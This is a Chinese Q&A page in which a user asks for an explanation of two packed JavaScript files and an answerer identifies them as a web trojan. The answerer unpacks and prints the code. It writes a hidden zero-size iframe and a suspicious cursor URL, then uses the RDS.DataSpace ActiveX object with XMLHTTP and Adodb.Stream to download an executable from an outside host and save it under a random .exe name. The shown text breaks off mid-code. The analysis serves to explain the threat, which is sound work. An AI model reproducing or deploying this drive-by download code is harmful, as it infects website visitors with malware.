帮我详细解释下这两段JS代码的意思

来源:百度知道 编辑:UC知道 时间:2024/05/07 11:15:29
第一个test.js
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2.5("<3 8=\\"7: 6(\'./1.9\')\\"></3>");2.5("<4 e=\'0\' c=\'0\' b=\'d.a\'></4>");',15,15,'||document|DIV|iframe|write|url|CURSOR|style|jpg|htm|src|height|ad|width'.split('|'),0,{}))

第二个css.js
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w

从后面向前看,最后一个()里的是参数,前面是打乱的程序集合.
这是一个网页木马的内容,解释为如下内容.呵呵

第一个test.js
document.write("<DIV style=\"CURSOR: url('./1.jpg')\"></DIV>");document.write("<iframe width='0' height='0' src='ad.htm'></iframe>");

第二个css.js
function gn(n){var number=Math.random()*n;return Math.round(number)+'.exe'}try{aaa="obj";bbb="ect";ccc="Adodb.";ddd="Stream";eee="Microsoft.";fff="XMLHTTP";lj='http://coocbbs.com/cha.exe';var df=document.createElement(aaa+bbb);df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var x=df.CreateObject(eee+fff,"");var S=df.CreateObject(ccc+ddd,"");S.type=1;x.open("GET",lj,0);x.send();mz1=gn(1000);var F=df.CreateObject("Scr